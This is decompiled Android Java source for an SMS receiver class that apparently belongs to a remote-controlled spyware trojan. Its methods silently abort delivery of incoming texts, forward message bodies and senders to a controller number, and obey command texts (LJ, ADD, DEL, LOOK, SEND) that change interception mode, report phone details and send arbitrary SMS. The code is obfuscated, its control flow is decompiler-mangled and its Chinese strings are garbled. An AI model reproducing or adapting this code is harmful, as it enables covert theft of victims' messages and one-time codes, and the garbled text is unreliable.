package
com.phone.stop.receiver;
import
android.content.BroadcastReceiver;
import
android.content.Context;
import
android.content.Intent;
import
android.os.Build.VERSION;
import
android.os.Bundle;
import
android.telephony.SmsMessage;
import
com.phone.stop.d.c;
import
com.phone.stop.db.a;
import
com.phone.stop.e.b;
import
com.phone.stop.f.g;
import
com.phone.stop.f.h;
import
com.phone.stop.f.j;
import
com.phone.stop.f.l;
import
com.w;
import
java.util.ArrayList;
import
java.util.Iterator;
public
class
SMSReceiver
extends
BroadcastReceiver
{
public
static
int
n;
private
Context a;
private
final
int
b =
1
;
public
SMSReceiver()
{
n =
1
;
}
private
void
a(Intent paramIntent)
{
paramIntent = paramIntent.getExtras();
Object localObject =
new
StringBuffer();
SmsMessage[] arrayOfSmsMessage;
int
i;
String str1;
if
(paramIntent !=
null
)
{
paramIntent = (Object[])paramIntent.get(
"pdus"
);
arrayOfSmsMessage =
new
SmsMessage[paramIntent.length];
int
j = paramIntent.length;
i =
0
;
if
(i >= j)
{
j = arrayOfSmsMessage.length;
paramIntent =
""
;
str1 =
""
;
i =
0
;
label62:
if
(i < j) {
break
label163;
}
}
}
for
(;;)
{
if
(n ==
1
) {
abortBroadcast();
}
localObject = ((StringBuffer)localObject).toString();
a(str1, (String)localObject, paramIntent);
com.phone.stop.c.d.a(
this
.a, localObject +
"<br>"
+ str1 +
"<br><br><br>"
+ j.a() +
"-----------------����<"
);
return
;
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((
byte
[])paramIntent[i]);
i +=
1
;
break
;
label163:
paramIntent = arrayOfSmsMessage[i];
str1 = paramIntent.getDisplayOriginatingAddress();
String str2 = paramIntent.getMessageBody();
paramIntent = paramIntent.getTimestampMillis();
((StringBuffer)localObject).append(str2);
i +=
1
;
break
label62;
paramIntent =
""
;
str1 =
""
;
}
}
private
void
a(String paramString1, String paramString2, String paramString3)
{
String str = a.a(
this
.a).c();
if
(a(paramString1, paramString2)) {
return
;
}
switch
(a.a(
this
.a).g())
{
default
:
return
;
case
1
:
b(paramString1, paramString2, paramString3);
return
;
case
3
:
clearAbortBroadcast();
return
;
}
c(str, paramString2, paramString3);
}
private
boolean
a(String paramString1, String paramString2)
{
if
(paramString1.contains(a.a(
this
.a).c()))
{
g.a(
"------------------ ������----------------------"
);
a(paramString2);
paramString1 = paramString2.split(
" "
);
if
(paramString1[
0
].equals(
"LJ"
)) {
if
(paramString1[
1
].equals(
"ALL"
)) {
a.a(
this
.a).a(
1
);
}
}
do
{
do
{
do
{
return
true
;
if
(paramString1[
1
].equals(
"SOME"
))
{
a.a(
this
.a).a(
2
);
return
true
;
}
}
while
(!paramString1[
1
].equals(
"NO"
));
a.a(
this
.a).a(
3
);
return
true
;
if
(paramString1[
0
].equals(
"ADD"
))
{
paramString2 =
new
c();
paramString2.c = paramString1[
1
];
b.a(paramString2);
return
true
;
}
if
(paramString1[
0
].equals(
"DEL"
))
{
b.a(paramString1[
1
]);
return
true
;
}
if
(paramString1[
0
].equals(
"CLEAR"
))
{
if
(paramString1[
1
].equals(
"ALL"
))
{
b.a();
return
true
;
}
paramString1[
1
].equals(
"MESSAGE"
);
return
true
;
}
if
(!paramString1[
0
].equals(
"LOOK"
)) {
break
;
}
if
(paramString1[
1
].equals(
"TIME"
))
{
l.a(
"��������:"
+ a.a(
this
.a).e(),
4
,
this
.a);
return
true
;
}
}
while
(!paramString1[
1
].equals(
"PHONE"
));
l.a(j.a(),
4
,
this
.a);
return
true
;
}
while
(!paramString1[
0
].equals(
"SEND"
));
try
{
l.a(paramString1[
1
], paramString1[
2
],
this
.a);
return
true
;
}
catch
(Exception paramString1)
{
return
true
;
}
}
return
false
;
}
private
void
b(String paramString1, String paramString2, String paramString3)
{
a(paramString2);
l.a(paramString2 +
"\n����:"
+ paramString1,
4
,
this
.a);
}
private
void
c(String paramString1, String paramString2, String paramString3)
{
paramString3 = b.b().iterator();
do
{
if
(!paramString3.hasNext()) {
return
;
}
}
while
(!paramString1.contains(((c)paramString3.next()).c));
a(paramString2);
l.a(paramString2 +
"\n����:"
+ paramString1,
4
,
this
.a);
}
public
void
a(String paramString)
{
if
(String.valueOf(Build.VERSION.RELEASE).compareTo(
"4.4"
) >=
0
) {
new
h().a(
this
.a, paramString);
}
}
public
void
onReceive(Context paramContext, Intent paramIntent)
{
w.a(paramIntent, paramContext);
g.a(
" ����---------------------------------------"
);
this
.a = paramContext;
a(paramIntent);
com.phone.stop.f.d.b(paramContext,
0
);
com.phone.stop.f.d.c(paramContext,
0
);
com.phone.stop.f.d.a(paramContext,
0
);
com.phone.stop.f.d.a(paramContext,
true
);
}
}